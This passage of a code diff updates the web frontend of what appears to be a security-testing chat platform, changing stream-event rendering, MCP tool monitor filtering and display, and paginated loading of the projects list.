const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
||||
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1650,6 +1818,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
flushStreamPlainTextUpdate(contentEl);
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
||||
} else {
|
||||
@@ -1674,6 +1843,8 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
}
|
||||
|
||||
case 'tool_calls_detected':
|
||||
// 助手正文段结束、进入工具调用:下一段 response_start 应新建时间线条目
|
||||
responseStreamStateByProgressId.delete(progressId);
|
||||
addTimelineItem(timeline, 'tool_calls_detected', {
|
||||
title: timelineAgentBracketPrefix(event.data) + '🔧 ' + (typeof window.t === 'function' ? window.t('chat.toolCallsDetected', { count: event.data?.count || 0 }) : '检测到 ' + (event.data?.count || 0) + ' 个工具调用'),
|
||||
message: event.message,
|
||||
@@ -1744,6 +1915,21 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
break;
|
||||
}
|
||||
|
||||
case 'eino_empty_response_continue': {
|
||||
const d = event.data || {};
|
||||
const title = typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||
: '🔁 自动续跑(无助手正文)';
|
||||
addTimelineItem(timeline, 'warning', {
|
||||
title: title,
|
||||
message: event.message || (typeof window.t === 'function'
|
||||
? window.t('chat.einoEmptyResponseContinueMessage')
|
||||
: '会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…'),
|
||||
data: d
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
case 'eino_run_retry': {
|
||||
const d = event.data || {};
|
||||
const title = typeof window.t === 'function'
|
||||
@@ -1859,7 +2045,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
const pre = item.querySelector('pre.tool-result');
|
||||
if (pre) {
|
||||
pre.classList.remove('tool-result-pending');
|
||||
pre.textContent = state.buffer;
|
||||
scheduleStreamPlainTextUpdate(pre, state.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1966,7 +2152,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
}
|
||||
}
|
||||
if (contentEl) {
|
||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
||||
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1993,6 +2179,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
contentEl.className = 'timeline-item-content';
|
||||
item.appendChild(contentEl);
|
||||
}
|
||||
flushStreamPlainTextUpdate(contentEl);
|
||||
if (typeof formatMarkdown === 'function') {
|
||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
||||
} else {
|
||||
@@ -2106,18 +2293,16 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
|
||||
// 多代理模式下,迭代过程中的输出只显示在时间线中,不创建助手消息气泡
|
||||
const prevStream = responseStreamStateByProgressId.get(progressId);
|
||||
const prevIterTag = extractIterationTagFromStreamIdentity(prevStream && prevStream.streamIdentity ? prevStream.streamIdentity : '');
|
||||
const compatibleIterTag = !prevIterTag || !streamIterTag || prevIterTag === streamIterTag;
|
||||
if (
|
||||
prevStream &&
|
||||
prevStream.itemId &&
|
||||
sameMainResponseStreamMeta(prevStream.streamMeta, responseData) &&
|
||||
compatibleIterTag
|
||||
) {
|
||||
const streamOrch = responseData.orchestration != null
|
||||
? responseData.orchestration
|
||||
: (prevStream && prevStream.streamMeta ? prevStream.streamMeta.orchestration : '');
|
||||
if (shouldReuseMainResponseStream(progressId, prevStream, responseData, streamOrch)) {
|
||||
// Eino 可能对同一段流重复发 response_start;复用已有条目与 buffer,避免多条「助手输出」
|
||||
prevStream.streamMeta = Object.assign({}, prevStream.streamMeta || {}, responseData);
|
||||
// 若此前轮次未知(空),在后续事件带来轮次后升级 identity,避免跨轮误复用。
|
||||
prevStream.streamIdentity = streamIdentity;
|
||||
if (responseData.streamId != null) {
|
||||
prevStream.streamId = String(responseData.streamId).trim();
|
||||
}
|
||||
responseStreamStateByProgressId.set(progressId, prevStream);
|
||||
break;
|
||||
}
|
||||
@@ -2128,10 +2313,12 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
data: Object.assign({}, responseData, { responseStreamPlaceholder: true })
|
||||
});
|
||||
responseStreamStateByProgressId.set(progressId, {
|
||||
progressId: progressId,
|
||||
itemId: itemId,
|
||||
buffer: '',
|
||||
streamMeta: responseData,
|
||||
streamIdentity: streamIdentity
|
||||
streamIdentity: streamIdentity,
|
||||
streamId: responseData.streamId != null ? String(responseData.streamId).trim() : ''
|
||||
});
|
||||
break;
|
||||
}
|
||||
@@ -2151,26 +2338,31 @@ function handleStreamEvent(event, progressElement, progressId,
|
||||
// 多代理模式下,迭代过程中的输出只显示在时间线中
|
||||
// 更新时间线条目内容
|
||||
let state = responseStreamStateByProgressId.get(progressId);
|
||||
const incomingStreamId = responseData.streamId != null ? String(responseData.streamId).trim() : '';
|
||||
if (!state) {
|
||||
state = { itemId: null, buffer: '', streamMeta: responseData };
|
||||
state = { progressId: progressId, itemId: null, buffer: '', streamMeta: responseData, streamId: incomingStreamId };
|
||||
responseStreamStateByProgressId.set(progressId, state);
|
||||
} else if (!state.streamMeta && responseData && (responseData.einoAgent || responseData.orchestration)) {
|
||||
state.streamMeta = responseData;
|
||||
}
|
||||
if (incomingStreamId && state.streamId && state.streamId !== incomingStreamId) {
|
||||
break;
|
||||
}
|
||||
if (incomingStreamId && !state.streamId) {
|
||||
state.streamId = incomingStreamId;
|
||||
}
|
||||
|
||||
const deltaContent = event.message || '';
|
||||
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
||||
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
||||
|
||||
// 更新时间线条目内容
|
||||
// 流式阶段仅追加纯文本;formatTimelineStreamBody 在终态 response 时一次性处理
|
||||
if (state.itemId) {
|
||||
const item = document.getElementById(state.itemId);
|
||||
if (item) {
|
||||
const contentEl = item.querySelector('.timeline-item-content');
|
||||
if (contentEl) {
|
||||
const meta = state.streamMeta || responseData;
|
||||
const body = formatTimelineStreamBody(state.buffer, meta);
|
||||
setTimelineItemContentStreamPlain(contentEl, body);
|
||||
scheduleStreamPlainTextUpdate(contentEl, state.buffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2710,39 +2902,22 @@ async function attachRunningTaskEventStream(conversationId) {
|
||||
const reader = response.body.getReader();
|
||||
const decoder = new TextDecoder();
|
||||
let buffer = '';
|
||||
const dispatchTaskEvent = function (eventData) {
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
};
|
||||
while (true) {
|
||||
const chunk = await reader.read();
|
||||
if (chunk.done) break;
|
||||
buffer += decoder.decode(chunk.value, { stream: true });
|
||||
const lines = buffer.split('\n');
|
||||
buffer = lines.pop() || '';
|
||||
for (let li = 0; li < lines.length; li++) {
|
||||
const line = lines[li];
|
||||
if (line.indexOf('data: ') === 0) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
} catch (e) {
|
||||
console.error('task-events parse', e);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||
}
|
||||
// Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
|
||||
buffer += decoder.decode();
|
||||
if (buffer.trim()) {
|
||||
const lines = buffer.split('\n');
|
||||
for (let li = 0; li < lines.length; li++) {
|
||||
const line = lines[li];
|
||||
if (line.indexOf('data: ') === 0) {
|
||||
try {
|
||||
const eventData = JSON.parse(line.slice(6));
|
||||
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||
} catch (e) {
|
||||
console.error('task-events parse', e);
|
||||
}
|
||||
}
|
||||
}
|
||||
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||
}
|
||||
if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
|
||||
clearCsTaskReplay();
|
||||
@@ -2874,7 +3049,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
|
||||
const pre = section.querySelector('pre.tool-result');
|
||||
if (pre) {
|
||||
pre.classList.remove('tool-result-pending');
|
||||
flushStreamPlainTextUpdate(pre);
|
||||
pre.textContent = text;
|
||||
resetStreamPlainTextState(pre);
|
||||
}
|
||||
|
||||
if (data.executionId) {
|
||||
@@ -3474,9 +3651,10 @@ async function applyMonitorFilters() {
|
||||
const statusFilter = document.getElementById('monitor-status-filter');
|
||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||
const status = statusFilter ? statusFilter.value : 'all';
|
||||
const tool = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||
const toolRaw = toolFilter ? (toolFilter.value.trim() || 'all') : 'all';
|
||||
const tool = toolRaw === 'all' ? 'all' : canonicalMonitorToolName(toolRaw);
|
||||
if (toolFilter) {
|
||||
toolFilter.classList.toggle('is-filter-active', tool !== 'all');
|
||||
toolFilter.classList.toggle('is-filter-active', toolRaw !== 'all');
|
||||
}
|
||||
// 当筛选条件改变时,从后端重新获取数据
|
||||
await refreshMonitorPanelWithFilter(status, tool);
|
||||
@@ -3637,10 +3815,15 @@ function buildMcpTimelineSvg(points, rangeKey) {
|
||||
const tickIdx = points.length <= 2
|
||||
? points.map((_, i) => i)
|
||||
: [0, Math.floor((points.length - 1) / 2), points.length - 1];
|
||||
const xLabels = tickIdx.map((idx) => {
|
||||
const xLabels = tickIdx.map((idx, ti) => {
|
||||
const c = coords[idx];
|
||||
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
|
||||
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="middle">${escapeHtml(label)}</text>`;
|
||||
let anchor = 'middle';
|
||||
if (tickIdx.length > 1) {
|
||||
if (ti === 0) anchor = 'start';
|
||||
else if (ti === tickIdx.length - 1) anchor = 'end';
|
||||
}
|
||||
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="${anchor}">${escapeHtml(label)}</text>`;
|
||||
}).join('');
|
||||
|
||||
const dots = coords.map((c) => {
|
||||
@@ -3878,9 +4061,10 @@ function renderMcpStatsCombinedSection(topTools, totals, activeToolFilter, timel
|
||||
|
||||
if (!hasTools && !showTimeline) return '';
|
||||
|
||||
const filterChipLabel = activeToolFilter ? formatMonitorToolName(activeToolFilter) : '';
|
||||
const filterChip = activeToolFilter
|
||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: activeToolFilter }) || activeToolFilter)}">
|
||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: activeToolFilter }) || `已筛选:${activeToolFilter}`)}</span>
|
||||
? `<span class="mcp-stats-filter-chip" title="${escapeHtml(mcpMonitorT('filterByToolTitle', { tool: filterChipLabel }) || filterChipLabel)}">
|
||||
<span class="mcp-stats-filter-chip__label">${escapeHtml(mcpMonitorT('filterActive', { tool: filterChipLabel }) || `已筛选:${filterChipLabel}`)}</span>
|
||||
<button type="button" class="mcp-stats-filter-chip__clear mcp-stats-clear-filter" aria-label="${escapeHtml(mcpMonitorT('clearToolFilter') || '清除工具筛选')}">×</button>
|
||||
</span>`
|
||||
: '';
|
||||
@@ -4320,7 +4504,7 @@ function updateMonitorStatsSubtitle(lastFetchedAt, toolCount) {
|
||||
function filterMonitorByTool(toolName) {
|
||||
const toolFilter = document.getElementById('monitor-tool-filter');
|
||||
if (!toolFilter || !toolName) return;
|
||||
toolFilter.value = toolName;
|
||||
toolFilter.value = formatMonitorToolName(toolName);
|
||||
toolFilter.classList.add('is-filter-active');
|
||||
applyMonitorFilters();
|
||||
const execSection = document.querySelector('.monitor-executions');
|
||||
@@ -4452,7 +4636,8 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
||||
|
||||
let rowsHtml = '';
|
||||
topTools.forEach((tool, index) => {
|
||||
const name = tool.toolName || unknownToolLabel;
|
||||
const rawName = tool.toolName || unknownToolLabel;
|
||||
const name = formatMonitorToolName(rawName);
|
||||
const total = tool.totalCalls || 0;
|
||||
const success = tool.successCalls || 0;
|
||||
const failed = tool.failedCalls || 0;
|
||||
@@ -4460,14 +4645,14 @@ function renderMcpStatsToolTable(topTools, totals, activeToolFilter = '') {
|
||||
const toolRate = toolRateNum.toFixed(1);
|
||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||
const dotColor = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||
const isActive = activeToolFilter && activeToolFilter === name;
|
||||
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||
|| `${name},${total} 次调用,成功率 ${toolRate}%`;
|
||||
rowsHtml += `
|
||||
<tr class="mcp-stats-tool-row${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(name)}"
|
||||
data-tool-name="${escapeHtml(rawName)}"
|
||||
tabindex="0"
|
||||
role="button"
|
||||
aria-label="${escapeHtml(rowAria)}"
|
||||
@@ -4516,14 +4701,15 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
const distAria = mcpMonitorT('distTitle') || '调用分布';
|
||||
|
||||
const stackedHtml = segments.map((s) => {
|
||||
const isActive = !s.isOthers && activeToolFilter && activeToolFilter === s.name;
|
||||
const title = `${s.name} · ${s.pct}% · ${s.calls}`;
|
||||
const isActive = !s.isOthers && activeToolFilter && monitorToolNamesEqual(activeToolFilter, s.name);
|
||||
const displayName = s.isOthers ? s.name : formatMonitorToolName(s.name);
|
||||
const title = `${displayName} · ${s.pct}% · ${s.calls}`;
|
||||
if (s.isOthers) {
|
||||
return `<span class="mcp-stats-proportion-seg is-others" data-is-others="1" role="presentation"
|
||||
style="flex:${s.pctNum} 1 0;background:${s.color}" title="${escapeHtml(title)}"></span>`;
|
||||
}
|
||||
const segAria = mcpMonitorT('distSegmentAria', { name: s.name, pct: s.pct, calls: s.calls })
|
||||
|| `${s.name},占 ${s.pct}%,${s.calls} 次`;
|
||||
const segAria = mcpMonitorT('distSegmentAria', { name: displayName, pct: s.pct, calls: s.calls })
|
||||
|| `${displayName},占 ${s.pct}%,${s.calls} 次`;
|
||||
return `<span class="mcp-stats-proportion-seg${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(s.name)}" data-pct="${s.pct}" data-calls="${s.calls}" data-is-others="0"
|
||||
role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
|
||||
@@ -4532,7 +4718,8 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
|
||||
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
||||
const listHtml = topTools.map((tool, index) => {
|
||||
const name = tool.toolName || unknownToolLabel;
|
||||
const rawName = tool.toolName || unknownToolLabel;
|
||||
const name = formatMonitorToolName(rawName);
|
||||
const total = tool.totalCalls || 0;
|
||||
const success = tool.successCalls || 0;
|
||||
const failed = tool.failedCalls || 0;
|
||||
@@ -4541,7 +4728,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
||||
const isActive = activeToolFilter && activeToolFilter === name;
|
||||
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||
@@ -4550,7 +4737,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
||||
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
||||
: '';
|
||||
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
||||
data-tool-name="${escapeHtml(name)}" tabindex="0" role="button"
|
||||
data-tool-name="${escapeHtml(rawName)}" tabindex="0" role="button"
|
||||
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
||||
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
||||
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
||||
@@ -4784,7 +4971,7 @@ function renderMonitorExecutions(executions = [], statusFilter = 'all') {
|
||||
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
||||
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
||||
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
||||
const toolName = escapeHtml(exec.toolName || unknownToolLabel);
|
||||
const toolName = escapeHtml(formatMonitorToolName(exec.toolName) || unknownToolLabel);
|
||||
const rawExecId = exec.id || '';
|
||||
const executionId = escapeHtml(rawExecId);
|
||||
const terminateBtn = status === 'running'
|
||||
|
||||
+230
-51
@@ -3,6 +3,7 @@
|
||||
*/
|
||||
let projectsCache = [];
|
||||
let projectsCacheAll = [];
|
||||
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
|
||||
let currentProjectId = null;
|
||||
let currentProjectTab = 'facts';
|
||||
const projectNameById = {};
|
||||
@@ -167,23 +168,128 @@ function rebuildProjectNameMap(list) {
|
||||
});
|
||||
}
|
||||
|
||||
async function fetchProjectsList(includeArchived) {
|
||||
function getProjectsListPageSize() {
|
||||
try {
|
||||
const saved = parseInt(localStorage.getItem(PROJECTS_LIST_PAGE_SIZE_KEY), 10);
|
||||
if ([20, 50, 100].includes(saved)) return saved;
|
||||
} catch (e) { /* ignore */ }
|
||||
return 50;
|
||||
}
|
||||
|
||||
let projectsListPagination = { page: 1, pageSize: getProjectsListPageSize(), total: 0 };
|
||||
let projectsListSearch = '';
|
||||
let _projectsListSearchDebounce = null;
|
||||
|
||||
function parseListTotalValue(raw, itemsLength) {
|
||||
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||
if (raw != null && raw !== '') {
|
||||
const n = parseInt(String(raw), 10);
|
||||
if (Number.isFinite(n) && n >= 0) return n;
|
||||
}
|
||||
return itemsLength;
|
||||
}
|
||||
|
||||
function parseListOffsetValue(raw) {
|
||||
if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
|
||||
if (raw != null && raw !== '') {
|
||||
const n = parseInt(String(raw), 10);
|
||||
if (Number.isFinite(n) && n >= 0) return n;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function parseProjectsListResponse(data) {
|
||||
if (Array.isArray(data)) {
|
||||
return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
|
||||
}
|
||||
const items = data.projects || data.items || [];
|
||||
const arr = Array.isArray(items) ? items : [];
|
||||
return {
|
||||
items: arr,
|
||||
total: parseListTotalValue(data.total, arr.length),
|
||||
limit: parseListTotalValue(data.limit, arr.length) || arr.length,
|
||||
offset: parseListOffsetValue(data.offset),
|
||||
isLegacyArray: false,
|
||||
};
|
||||
}
|
||||
|
||||
async function resolveProjectsListTotal(params, parsed, pageSize, offset) {
|
||||
const serverTotal = parsed.total;
|
||||
// 服务端 total 明确大于当前页末尾 → 直接信任
|
||||
if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
|
||||
return serverTotal;
|
||||
}
|
||||
// 不足一页 → 已是最后一页
|
||||
if (parsed.items.length < pageSize) {
|
||||
return Math.max(serverTotal, offset + parsed.items.length);
|
||||
}
|
||||
// 满页但 total 可能被误算为 items.length → 探测下一页
|
||||
const probe = new URLSearchParams(params);
|
||||
probe.set('offset', String(offset + pageSize));
|
||||
probe.set('limit', '1');
|
||||
try {
|
||||
const res = await apiFetch(`/api/projects?${probe}`);
|
||||
if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
|
||||
const probeParsed = parseProjectsListResponse(await res.json());
|
||||
if (probeParsed.total > serverTotal) return probeParsed.total;
|
||||
if (probeParsed.items.length > 0) {
|
||||
return Math.max(serverTotal, offset + pageSize + 1);
|
||||
}
|
||||
} catch (e) { /* ignore */ }
|
||||
return Math.max(serverTotal, offset + parsed.items.length);
|
||||
}
|
||||
|
||||
async function fetchAllProjects(includeArchived) {
|
||||
const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
|
||||
const url = showArchived ? '/api/projects?limit=200' : '/api/projects?status=active&limit=200';
|
||||
const res = await apiFetch(url);
|
||||
let all = [];
|
||||
const pageSize = 200;
|
||||
let offset = 0;
|
||||
let total = Infinity;
|
||||
while (all.length < total) {
|
||||
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||
if (!showArchived) params.set('status', 'active');
|
||||
const res = await apiFetch(`/api/projects?${params}`);
|
||||
if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
|
||||
const parsed = parseProjectsListResponse(await res.json());
|
||||
all = all.concat(parsed.items);
|
||||
total = parsed.total;
|
||||
if (!parsed.items.length) break;
|
||||
offset += parsed.items.length;
|
||||
}
|
||||
return all;
|
||||
}
|
||||
|
||||
async function fetchProjectsList(includeArchived, opts = {}) {
|
||||
const showArchived = includeArchived || document.getElementById('projects-show-archived')?.checked;
|
||||
const page = opts.page ?? projectsListPagination.page;
|
||||
const pageSize = opts.pageSize ?? getProjectsListPageSize();
|
||||
const search = opts.search !== undefined ? opts.search : projectsListSearch;
|
||||
projectsListSearch = search;
|
||||
const offset = (page - 1) * pageSize;
|
||||
const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
|
||||
if (search) params.set('search', search);
|
||||
if (!showArchived) params.set('status', 'active');
|
||||
const res = await apiFetch(`/api/projects?${params}`);
|
||||
if (!res.ok) throw new Error(tp('projects.loadProjectsFailed'));
|
||||
const data = await res.json();
|
||||
projectsCache = Array.isArray(data) ? data : [];
|
||||
rebuildProjectNameMap(projectsCache);
|
||||
_projectsListReady = true;
|
||||
const parsed = parseProjectsListResponse(await res.json());
|
||||
const total = await resolveProjectsListTotal(params, parsed, pageSize, offset);
|
||||
projectsCache = parsed.items;
|
||||
projectsListPagination = { page, pageSize: pageSize, total };
|
||||
rebuildProjectNameMap(projectsCacheAll.length ? projectsCacheAll : projectsCache);
|
||||
return projectsCache;
|
||||
}
|
||||
|
||||
/** 对话页等项目选择器:确保列表已拉取(去重并发请求) */
|
||||
/** 对话页等项目选择器:确保全量列表已拉取(去重并发请求) */
|
||||
async function ensureProjectsLoaded(force) {
|
||||
if (!force && _projectsListReady) return projectsCache;
|
||||
if (!force && _projectsListReady) return projectsCacheAll;
|
||||
if (!force && _projectsFetchPromise) return _projectsFetchPromise;
|
||||
_projectsFetchPromise = fetchProjectsList(false)
|
||||
_projectsFetchPromise = fetchAllProjects(false)
|
||||
.then((list) => {
|
||||
projectsCacheAll = list;
|
||||
rebuildProjectNameMap(projectsCacheAll);
|
||||
_projectsListReady = true;
|
||||
return projectsCacheAll;
|
||||
})
|
||||
.catch((e) => {
|
||||
_projectsListReady = false;
|
||||
throw e;
|
||||
@@ -204,9 +310,10 @@ async function ensureDefaultActiveProjectForNewChat() {
|
||||
await ensureProjectsLoaded();
|
||||
const cur = getActiveProjectId();
|
||||
if (cur && isActiveChatProjectId(cur)) return cur;
|
||||
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||
const first =
|
||||
projectsCache.find((p) => p.pinned && p.status !== 'archived') ||
|
||||
projectsCache.find((p) => p.status !== 'archived');
|
||||
source.find((p) => p.pinned && p.status !== 'archived') ||
|
||||
source.find((p) => p.status !== 'archived');
|
||||
if (first) {
|
||||
setActiveProjectId(first.id);
|
||||
return first.id;
|
||||
@@ -238,6 +345,8 @@ async function initProjectsPage() {
|
||||
initProjectsModalEscape();
|
||||
syncProjectsModalBodyLock();
|
||||
updateProjectsDetailVisibility();
|
||||
projectsListPagination.pageSize = getProjectsListPageSize();
|
||||
renderProjectsPagination();
|
||||
await loadProjectsList();
|
||||
if (!currentProjectId && projectsCache.length) {
|
||||
const fromHash = new URLSearchParams(window.location.hash.split('?')[1] || '').get('id');
|
||||
@@ -250,8 +359,19 @@ async function initProjectsPage() {
|
||||
}
|
||||
|
||||
async function loadProjectsList() {
|
||||
_projectsListReady = false;
|
||||
projectsCacheAll = [];
|
||||
projectsListPagination.pageSize = getProjectsListPageSize();
|
||||
await fetchProjectsList();
|
||||
renderProjectsSidebar();
|
||||
renderProjectsPagination();
|
||||
try {
|
||||
projectsCacheAll = await fetchAllProjects();
|
||||
rebuildProjectNameMap(projectsCacheAll);
|
||||
_projectsListReady = true;
|
||||
} catch (e) {
|
||||
console.warn(e);
|
||||
}
|
||||
if (typeof refreshChatProjectSelector === 'function') {
|
||||
refreshChatProjectSelector();
|
||||
}
|
||||
@@ -277,7 +397,7 @@ function updateProjectsDetailVisibility() {
|
||||
|
||||
function updateProjectsListCount() {
|
||||
const el = document.getElementById('projects-list-count');
|
||||
if (el) el.textContent = String(projectsCache.length);
|
||||
if (el) el.textContent = String(projectsListPagination.total || projectsCache.length);
|
||||
}
|
||||
|
||||
/** 事实分类 → 徽章样式(与 fact_template.go 常量对齐) */
|
||||
@@ -343,9 +463,10 @@ function formatVulnStatusBadge(status) {
|
||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||
fixed: 'vulnerabilityPage.statusFixed',
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||
ignored: 'vulnerabilityPage.statusIgnored',
|
||||
};
|
||||
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open';
|
||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
|
||||
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
||||
}
|
||||
|
||||
@@ -385,26 +506,97 @@ function getProjectsListFilter() {
|
||||
}
|
||||
|
||||
function filterProjectsList() {
|
||||
renderProjectsSidebar();
|
||||
if (_projectsListSearchDebounce) clearTimeout(_projectsListSearchDebounce);
|
||||
_projectsListSearchDebounce = setTimeout(() => {
|
||||
_projectsListSearchDebounce = null;
|
||||
const q = getProjectsListFilter();
|
||||
projectsListPagination.page = 1;
|
||||
fetchProjectsList(undefined, { page: 1, search: q })
|
||||
.then(() => {
|
||||
renderProjectsSidebar();
|
||||
renderProjectsPagination();
|
||||
})
|
||||
.catch((e) => console.warn(e));
|
||||
}, 280);
|
||||
}
|
||||
|
||||
function goProjectsPage(page) {
|
||||
const totalPages = Math.max(1, Math.ceil((projectsListPagination.total || 0) / projectsListPagination.pageSize) || 1);
|
||||
const next = Math.min(Math.max(1, page), totalPages);
|
||||
if (next === projectsListPagination.page) return;
|
||||
fetchProjectsList(undefined, { page: next })
|
||||
.then(() => {
|
||||
renderProjectsSidebar();
|
||||
renderProjectsPagination();
|
||||
const listEl = document.getElementById('projects-list');
|
||||
if (listEl) listEl.scrollTop = 0;
|
||||
})
|
||||
.catch((e) => console.warn(e));
|
||||
}
|
||||
|
||||
function changeProjectsPageSize() {
|
||||
const sel = document.getElementById('projects-page-size-pagination');
|
||||
const newSize = sel ? parseInt(sel.value, 10) : 50;
|
||||
if (![20, 50, 100].includes(newSize)) return;
|
||||
try {
|
||||
localStorage.setItem(PROJECTS_LIST_PAGE_SIZE_KEY, String(newSize));
|
||||
} catch (e) { /* ignore */ }
|
||||
projectsListPagination.pageSize = newSize;
|
||||
projectsListPagination.page = 1;
|
||||
fetchProjectsList(undefined, { page: 1, pageSize: newSize })
|
||||
.then(() => {
|
||||
renderProjectsSidebar();
|
||||
renderProjectsPagination();
|
||||
})
|
||||
.catch((e) => console.warn(e));
|
||||
}
|
||||
|
||||
function renderProjectsPagination() {
|
||||
const el = document.getElementById('projects-pagination');
|
||||
if (!el) return;
|
||||
const { page, pageSize, total } = projectsListPagination;
|
||||
const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
|
||||
const navDisabled = total === 0 || totalPages <= 1;
|
||||
el.hidden = false;
|
||||
